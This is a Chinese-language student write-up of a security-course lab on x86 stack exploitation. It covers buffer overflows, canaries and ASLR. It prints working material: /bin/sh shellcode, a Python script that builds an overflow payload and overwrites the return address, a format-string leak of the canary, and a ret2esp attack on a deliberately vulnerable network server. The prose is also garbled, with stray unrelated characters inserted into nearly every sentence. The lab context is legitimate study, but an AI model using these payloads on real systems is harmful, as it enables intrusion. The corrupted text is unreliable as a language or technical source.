前言
CS 161 is the voodoo plan of Lord Dirks. Project 1 is the first step.
這個(gè)project 1做的我心態(tài)爆炸
感覺自己還是不是很懂匯編指令 特別是esp寄存器
基本知識(shí)介紹
上圖是linux x86系列的內(nèi)存結(jié)構(gòu)。stack向下生長(zhǎng)胳挎,環(huán)境變量和Stack被視為相同的數(shù)據(jù)风秤。
最底下的是文本代碼段,存儲(chǔ)著程序的匯編代碼崔拥。Static data segment存放著未賦值和賦值過的靜態(tài)變量葱她。
Heap主要是程序中動(dòng)態(tài)申請(qǐng)的內(nèi)存空間昆箕。
上面兩圖顯示了函數(shù)調(diào)用中相關(guān)的一些寄存器和地址內(nèi)容撞反。
最基本的涉及三個(gè)寄存器
esp (stack pointer): 指向函數(shù)頂?shù)募拇嫫魍咨幱趦?nèi)存底部(棧的頂部)
ebp (base pointer/saved frame pointer):指向函數(shù)底的的寄存器,處于內(nèi)存頂部(棧的底部)
eip (instruction pointer): 指向文本區(qū)的下一個(gè)指令
還有一些其他的重要指針比如rip (return instruction pointer) 指向的是函數(shù)返回的地址遏片。
在函數(shù)運(yùn)行的時(shí)候嘹害,esp不斷向上的pop
到return address時(shí)根據(jù)rip值跳轉(zhuǎn)
接下來介紹緩沖區(qū)buffer/字符串
如下圖的user,在c語(yǔ)言即
char a[20];
長(zhǎng)度固定吮便。
在程序運(yùn)行時(shí)開拓一段空間
buffer向上生長(zhǎng)笔呀,小index在下,大index在上
所有函數(shù)調(diào)用的時(shí)候线衫,ebp和esp都會(huì)經(jīng)過這樣的操作:
0x0804840c <+0>: push %ebp
0x0804840d <+1>: mov %esp,%ebp
0x0804840f <+3>: sub $0x28,%esp
簡(jiǎn)單的意思是
- 壓入ebp
- 讓ebp等于esp
- 讓esp到ebp下面x個(gè)字節(jié)的位置x與函數(shù)內(nèi)容有關(guān)凿可,但是必然是字的整數(shù)倍惑折。x86架構(gòu)時(shí)4n授账,x64架構(gòu)是8n枯跑。
基本的buffer overflow
buffer overflow的意思即是在buffer沒有做到良好保護(hù)的時(shí)候,通過緩沖區(qū)溢出覆蓋內(nèi)存從而改變代碼走向白热,并且做出攻擊敛助。
假如我的代碼是這樣
//dejavu.c
#include <stdio.h>
void deja_vu()
{
char door[8];
gets(door);
}
int main()
{
deja_vu();
return 0;
}
通過gdb,我們可以發(fā)現(xiàn)一些關(guān)鍵的地址
(gdb) x $ebp
0xbffffab8: 0xbffffac8
(gdb) x $eip
0x804841d <deja_vu+17>: 0x8955c3c9
(gdb) x $esp
0xbffffa90: 0xbffffaa8
(gdb) x door
0xbffffaa8: 0x41414141
(gdb) x main
0x804841f <main>: 0x83e58955
(gdb) x $ebp +4
0xbffffabc: 0x0804842a
可以發(fā)現(xiàn)
rip($ebp+4)指向的是main函數(shù)中的一個(gè)地址屋确,即返回地址
$eip指向的是文本區(qū)中的一個(gè)地址
door在ebp和esp中間
door離ebp有0x10的距離
具體的看應(yīng)該是
(gdb) x/8wx door
0xbffffaa8: 0x41414141 0x41414141 0xb7fed200 0x00000000
0xbffffab8: 0xbffffac8 0x0804842a 0x08048440 0x00000000
其中0x41是我的合法輸入AAAAAAAA
內(nèi)存結(jié)構(gòu)大概時(shí)這樣
那么如果我的輸入不合法呢纳击?比如對(duì)于上面那段代碼,我輸入了很多A攻臀,那么內(nèi)存結(jié)構(gòu)大概是
可以看見我們將rip和ebp原本的數(shù)值覆蓋掉了焕数。這時(shí)如果要返回,查看rip發(fā)現(xiàn)地址是0x41414141然后發(fā)現(xiàn)那個(gè)地址沒有任何有意義的地址與指令于是拋出段錯(cuò)誤
輸入:AAAAAAAAAAAAAAAA
之后查看gdb
(gdb) x/8wx door
0xbffffaa8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab8: 0x41414141 0x41414141 0x08048400 0x00000000
發(fā)現(xiàn)所有東西都被改掉了刨啸,程序拋出段錯(cuò)誤堡赔,崩潰
(gdb) c
Continuing.
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
可以看到程序試圖區(qū)尋找0x41414141的數(shù)據(jù),發(fā)現(xiàn)無意義
無防御機(jī)制的攻擊
無意義的數(shù)據(jù)只會(huì)使程序崩潰设联,但是如果數(shù)據(jù)有意義呢善已?
但是如果我們能夠?qū)⒊绦驅(qū)胛覀兊挠幸饬x的惡意代碼呢
我們將這種可執(zhí)行代碼稱為shell code('shell code' contains 'hell code', you know)
shellcode="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
# assume that this is a code for getting permission of other users
*注意這是一個(gè)小端排序(little-endian)的程序,所以其實(shí)內(nèi)存中會(huì)是
0x895e1feb...
我們通過棧溢出將我們的可執(zhí)行代碼塞入內(nèi)存中离例,并且通過改變r(jià)ip的數(shù)據(jù)(返回地址)去讓程序執(zhí)行我們的惡意代碼换团。
#!/usr/bin/env python
# ~/egg
shell="\x90\x90\x90\x90"+"\x90\x90\x90\x90"+"\x00\xd2\xfe\xb7"+"\x00\x00\x00\x00"+"\xf8\xf6\xff\xbf"+"\xc8\xfa\xff\xbf"+"\x40\x84\x04\x08"+"\x00\x00\x00\x00"
shell2="\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07"+"\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d"+"\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80"+"\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"
print(shell+shell2)
*\x90沒什么特別的1意義,只是為了填滿buffer宫蛆。讓buffer被其他的字符艘包,如\x41,填滿也ok
然后將這段導(dǎo)入另一個(gè)文件中
./egg > shellcode
然后再執(zhí)行程序時(shí)將其導(dǎo)入并且gdb洒扎,我們就會(huì)發(fā)現(xiàn)
(gdb) x/30wx door
0xbffffaa8: 0x90909090 0x90909090 0xb7fed200 0x00000000
0xbffffab8: 0xbffff6f8 0xbffffac8 0x08048440 0x00000000
0xbffffac8: 0x895e1feb 0xc0310876 0x89074688 0x0bb00c46
0xbffffad8: 0x4e8df389 0x0c568d08 0xdb3180cd 0xcd40d889
0xbffffae8: 0xffdce880 0x622fffff 0x732f6e69 0xb7fd0068
0xbffffaf8: 0x00000000 0x00000000 0x00000000 0xef5b7982
0xbffffb08: 0xd807fd92 0x00000000 0x00000000 0x00000000
0xbffffb18: 0x00000001 0x08048320
我們可以看到rip已經(jīng)被改變了辑甜,而rip指向的地址早已被我們改成了我們的shell code
程序在結(jié)束的時(shí)候調(diào)用ret
指令,ret會(huì)根據(jù)rip的地址進(jìn)行返回跳轉(zhuǎn)袍冷,由于我們將rip該到了shell code的首地址磷醋,程序”返回“到我們的shell code位置并且開始執(zhí)行shell code的指令,由于我們的shell code的意思時(shí)獲得權(quán)限胡诗,那么我們也可以說是攻入對(duì)方系統(tǒng)邓线。
包括如果對(duì)方將秘密函數(shù)(比如一個(gè)刪數(shù)據(jù)庫(kù)跑路的函數(shù))寫在代碼中,也可以通過”返回“到秘密函數(shù)執(zhí)行秘密函數(shù)
環(huán)境變量攻擊
有的時(shí)候即使沒有一些額外的防御機(jī)制煌恢,我們的shellcode也會(huì)收到限制骇陈,比如
-
程序員進(jìn)行了一定的邊界檢查(雖然并沒有檢查完全)導(dǎo)致你能操控的字節(jié)數(shù)有限(一到二個(gè)字節(jié))
比如下面這段代碼
void flip(char *buf, const char *input) { //char buf[64]; //we can input via stdin size_t n = strlen(input); int i; for (i = 0; i < n && i <= 64; ++i) buf[i] = input[i] ^ (1u << 5); while (i < 64) buf[i++] = '\0'; }
我能溢出的只有buf+64這一個(gè)字節(jié)
程序內(nèi)只使用了環(huán)境變量和給黑客控制環(huán)境變量的空間但是并沒有用戶輸入的內(nèi)容,我們無法將shellcode通過文件和stdin輸入其中
這時(shí)單純的寫入shellcode有點(diǎn)不現(xiàn)實(shí)瑰抵,但是我們可以將shellcode放入環(huán)境變量中你雌。程序執(zhí)行的時(shí)候,環(huán)境變量位于Stack上方。并且環(huán)境變量可以與main函數(shù)的參數(shù)等同(實(shí)際上就是main函數(shù)的參數(shù))婿崭。
我們可以讓rip返回到環(huán)境變量的地址處并且執(zhí)行shellcode
(gdb) x/s *((char**) environ)
0xbffffbe9: "PAD=EGG=\353\037^\211v\b1\300\210F\a\211F\f\260\v\211\363\215N\b\215V\f\315\200\061\333\211\330@\315\200\350\334\377\377\377/bin/sh"
有防御機(jī)制的攻擊
Canary(金絲雀)
canary源于17世紀(jì)英國(guó)工人對(duì)瓦斯的檢查方式拨拓。由于金絲雀比人類對(duì)瓦斯更加敏感,英國(guó)工人通過金絲雀的行為(包括是否死亡)探測(cè)是否有大量的瓦斯氓栈。
由于上述的buffer overflow方法基于修改rip值渣磷,如果在ebp下面放一個(gè)字作為canary。canary(Debian系統(tǒng)實(shí)現(xiàn))始于NUL(\x00)授瘦,其他三個(gè)字節(jié)為隨機(jī)數(shù)醋界。起始的NUL可以阻擋攻擊者讀入canary(字符串的結(jié)束符號(hào))
canary的另一部分放在gs寄存器中
在程序調(diào)用結(jié)束之前leave ret
之前檢查棧上的canary與寄存器中的canary是否相等,如果相等則沒有認(rèn)為沒有發(fā)生buffer overflow提完,否則發(fā)現(xiàn)stack smashing并且調(diào)用__stack_chk_fail函數(shù)中斷程序
觀察下面的開啟Canary機(jī)制的程序
#define BUFLEN 16
#include <stdio.h>
#include <string.h>
int nibble_to_int(char nibble) {
if ('0' <= nibble && nibble <= '9') return nibble - '0';
else return nibble - 'a' + 10;
}
void dehexify() {
char buffer[BUFLEN];
char answer[BUFLEN];
int i = 0, j = 0;
gets(buffer);
while (buffer[i]) {
if (buffer[i] == '\\' && buffer[i+1] == 'x') {
int top_half = nibble_to_int(buffer[i+2]);
int bottom_half = nibble_to_int(buffer[i+3]);
answer[j] = top_half << 4 | bottom_half;
i += 3;
} else {
answer[j] = buffer[i];
}
i++; j++;
}
answer[j] = 0;
printf("%s\n", answer);
fflush(stdout);
}
int main() {
while (!feof(stdin)) {
dehexify();
}
}
觀察函數(shù)dehexify
匯編碼
(gdb) disassemble dehexify
Dump of assembler code for function dehexify:
//函數(shù)初始化
0x0804853d <+0>: push %ebp
0x0804853e <+1>: mov %esp,%ebp
0x08048540 <+3>: sub $0x38,%esp
//%gs:0x14存的就是canary的值形纺,并且將其插入$ebp-4的位置)
0x08048543 <+6>: mov %gs:0x14,%eax
0x08048549 <+12>: mov %eax,-0x4(%ebp)
0x0804854c <+15>: xor %eax,%eax
...
0x08048617 <+218>: mov -0x4(%ebp),%eax
//將canary從%gs:0x14拿出并且與放入的canary進(jìn)行比對(duì)。如果相同則跳轉(zhuǎn)到函數(shù)+235處(正常離開)徒欣,否則調(diào)用函數(shù)__stack_chk_fail挡篓,拋出異常
0x0804861a <+221>: xor %gs:0x14,%eax
0x08048621 <+228>: je 0x8048628 <dehexify+235>
0x08048623 <+230>: call 0x8048400 <__stack_chk_fail@plt>
0x08048628 <+235>: leave
0x08048629 <+236>: ret
輸入正常字符串AAAAAAAAAAAAAAAA
后觀察棧
(gdb) x/30wx answer
0xbffffaa8: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffffab8: 0x41414100 0x41414141 0x41414141 0x41414141
0xbffffac8: 0x5bb90c00 0xbffffad8 0x08048637 0xb7fd2ac0
(gdb) p $ebp
$1 = (void *) 0xbffffacc
易知在ebp和我們自己的數(shù)據(jù)(buffer)中隔了一個(gè)字的canary,其起始字符為NUL(\x00)
*(看上去是最后一個(gè)字節(jié)帚称,但是這個(gè)時(shí)小端序所以反而是第一個(gè)字節(jié))
如果輸入非法字符串如
AAAAAAAAAAAAAAAAA
(17個(gè)A)
(gdb) x/30wx buffer
0xbffffab8: 0x41410041 0x41414141 0x41414141 0x41414141
0xbffffac8: 0xe7590041 0xbffffad8 0x08048637 0xb7fd2ac0
0xbffffad8: 0x00000000 0xb7e454d3 0x00000001 0xbffffb74
0xbffffae8: 0xbffffb7c 0xb7fdc858 0x00000000 0xbffffb1c
0xbffffaf8: 0xbffffb7c 0x00000000 0x08048288 0xb7fd2000
0xbffffb08: 0x00000000 0x00000000 0x00000000 0xead1f830
0xbffffb18: 0xdd8d1c20 0x00000000 0x00000000 0x00000000
0xbffffb28: 0x00000001 0x08048450
最后的結(jié)果會(huì)是
*** stack smashing detected ***: /home/jz/agent-jz terminated
Program received signal SIGABRT, Aborted.
0xb7fdd424 in __kernel_vsyscall ()
(gdb)
攻擊方式
printf格式化攻擊
//test.c
void invoker(){
char buffer[16];
gets(buffer);as
printf(buffer);
}
int main(void){
invoker();
}
編譯一下
gcc -m32 -z execstack -o canary -ggdb -fstack-protector-all test.c
之后用objdump查看匯編碼
0804848c <invoke>:
804848c: 55 push %ebp
804848d: 89 e5 mov %esp,%ebp
804848f: 83 ec 68 sub $0x68,%esp
8048492: 65 a1 14 00 00 00 mov %gs:0x14,%eax
8048498: 89 45 f4 mov %eax,-0xc(%ebp)
804849b: 31 c0 xor %eax,%eax
804849d: 8d 45 b4 lea -0x4c(%ebp),%eax
80484a0: 89 04 24 mov %eax,(%esp)
80484a3: e8 b8 fe ff ff call 8048360 <gets@plt>
80484a8: 8d 45 b4 lea -0x4c(%ebp),%eax
80484ab: 89 04 24 mov %eax,(%esp)
80484ae: e8 9d fe ff ff call 8048350 <printf@plt>
80484b3: 8b 45 f4 mov -0xc(%ebp),%eax
80484b6: 65 33 05 14 00 00 00 xor %gs:0x14,%eax
80484bd: 74 05 je 80484c4 <invoke+0x38>
80484bf: e8 ac fe ff ff call 8048370 <__stack_chk_fail@plt>
80484c4: c9 leave
80484c5: c3 ret
我們查看一下$ebp-0xc的數(shù)據(jù)
(gdb) x $ebp-0xc
0xbffff6dc: 0xdd4aed00
可以確定這就是canary了
我們的格式化是從esp開始數(shù)官研,所以我們要確定從esp到canary有多少個(gè)字
(gdb) x $esp
0xbffff680: 0xbffff69c
(0xdc-0x80)/4 = 23(10 based)
所以我們的輸入可以時(shí)%23$x
然后就會(huì)發(fā)現(xiàn)
(gdb) r
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/jz/canary
%23$x
a1116800[Inferior 1 (process 10311) exited normally]
成功拉出canary
ASLR(地址空間布局隨機(jī)化)
Address Space Layout Randomization是一種防止攻擊的很好的方法。上述的各種方法都是基于內(nèi)存布局是固定的闯睹。我們需要一個(gè)固定的絕對(duì)地址去使我們的rip跳轉(zhuǎn)到我們的shell code戏羽。但是如果每次程序運(yùn)行時(shí),其分布不完全固定而是隨機(jī)的楼吃,那么我們無法固定地址始花,從而難以攻擊。
ASLR只打亂Stack區(qū)和lib孩锡,其他的如Heap和Text區(qū)并不會(huì)被打亂
攻擊方式
ret2ret
每當(dāng)我們執(zhí)行ret
指令時(shí)酷宵,我們實(shí)際上都在執(zhí)行
pop eip
ASLR只會(huì)隨機(jī)化棧區(qū),但是文本段并不會(huì)躬窜。所以每回運(yùn)行時(shí)浇垦,文本區(qū)都是固定的,ret的地址都是可以被找到的
esp所指向的地址的數(shù)據(jù)被eip覆蓋
每當(dāng)調(diào)用一次ret
esp都會(huì)+4(1個(gè)字)
我們可以通過這種方式將esp"抬到"指向我們shellcode的一個(gè)指針荣挨,然后通過通過這個(gè)指針執(zhí)行我們的shellcode
ret2pop
不是很熟男韧,但是應(yīng)該和ret2ret差不多。只不過pop可以跳過某些區(qū)域
ret2esp
ret2esp是個(gè)很有意思的方法默垄,因?yàn)樗蟮闹噶頶cc并不提供此虑。
它需要jmp * esp
,其匯編碼為0xffe4
這個(gè)指令可以跳轉(zhuǎn)到esp口锭,從而我們可以使esp指向我們的shellcode并且執(zhí)行我們的shellcode朦前。
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#define BUFSIZE 3520
unsigned int magic(unsigned int i, unsigned int j)
{
i ^= j << 3;
j ^= i << 3;
i |= 58623;
j %= 0x42;
return i & j;
}
void error(const char *msg)
{
fprintf(stderr, "error: %s\n", msg);
exit(1);
}
ssize_t io(int socket, size_t n, char *buf)
{
recv(socket, buf, n << 3, MSG_WAITALL);
size_t i = 0;
while (buf[i] && buf[i] != '\n' && i < n)
buf[i++] ^= 0x42;
return i;
send(socket, buf, n, 0);
}
void handle(int client)
{
char buf[BUFSIZE];
memset(buf, 0, sizeof(buf));
io(client, BUFSIZE, buf);
}
int main(int argc, char *argv[])
{
if (argc != 2)
{
fprintf(stderr, "usage: %s port\n", argv[0]);
return 1;
}
int srv = socket(AF_INET, SOCK_STREAM, 0);
if (srv < 0)
error("socket()");
int on = 1;
if (setsockopt(srv, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0)
error("setting SO_REUSEADDR failed");
struct sockaddr_in server, client;
memset(&server, 0, sizeof(server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons(atoi(argv[1]));
if (bind(srv, (struct sockaddr *) &server, sizeof(server)) < 0)
error("bind()");
if (listen(srv, 5) < 0)
error("listen()");
socklen_t c = sizeof(client);
int client_socket;
for (;;)
{
if ((client_socket = accept(srv, (struct sockaddr *) &client, &c)) < 0)
error("accept()");
handle(client_socket);
close(client_socket);
}
return 0;
}
這段代碼非常復(fù)雜,但是我們簡(jiǎn)單分析就可以發(fā)現(xiàn)
- magic卵用沒有
- io函數(shù)會(huì)有緩沖區(qū)溢出
- 緩沖區(qū)在handle函數(shù)中韭寸,而handle函數(shù)調(diào)用io函數(shù)这溅。說明緩沖區(qū)在io函數(shù)的上面,二緩沖區(qū)溢出是從下到上的過程棒仍。所以這個(gè)緩沖區(qū)溢出只能控制handle函數(shù)而不是io函數(shù)
然后我們可以查看一下magic函數(shù)(因?yàn)槁延脹]有)
(gdb) x/30wx *magic
0x8048604 <magic>: 0x8be58955 0xe0c10c45 0x08453103 0xc108458b
0x8048614 <magic+16>: 0x453103e0 0x084d810c 0x0000e4ff 0xba0c4d8b
0x8048624 <magic+32>: 0x3e0f83e1 0xe2f7c889 0xe8c1d089 0x89c00104
0x8048634 <magic+48>: 0x05e2c1c2 0xca89d001 0xd089c229 0x8b0c4589
0x8048644 <magic+64>: 0x558b0c45 0x5dd02108 0xe58955c3 0xba18ec83
0x8048654 <error+7>: 0x080489b0 0x04a03ca1 0x084d8b08 0x08244c89
0x8048664 <error+23>: 0x04245489 0xe8240489 0xfffffe70 0x012404c7
0x8048674 <error+39>: 0xe8000000 0xfffffe44
發(fā)現(xiàn)有一個(gè)0x0000e4ff
由于是小端序,這就是ffe4
然后我們就可以把rip改為這個(gè)指令并且在其上面放我們的shellcode臭胜。
此時(shí)當(dāng)jmp * esp
執(zhí)行的時(shí)候莫其,esp指向shellcode,從而我們的shellcode可以被執(zhí)行
執(zhí)行異或
內(nèi)存的每一塊只允許被寫入或者被執(zhí)行耸三,不可能即被寫入又被執(zhí)行
讀完這篇文章你就會(huì)知道
- 搞事精和點(diǎn)子王都很會(huì)玩
- Microsoft家的c/c++編譯器重寫string.h文件中的函數(shù)并且逼著你使用scanf_s/strcpy_s/blabla的良苦用心
- 請(qǐng)一個(gè)傻吊一樣的永遠(yuǎn)不寫安全的邊界檢測(cè)的程序員的下場(chǎng)
- 為什么不要使用C/C++(雖然我這么說你還是會(huì)用乱陡,對(duì)吧)
- 對(duì)一些project掉以輕心以為自己三天就能寫完這個(gè)只有五題project結(jié)果最后搞到心態(tài)爆炸的下場(chǎng)
- 做這種project之前一定不要奶這題很簡(jiǎn)單之類的
- 為什么說用strcpy和gets這樣的函數(shù)要謹(jǐn)慎一點(diǎn)
- 三天肝project是可以肝出東西的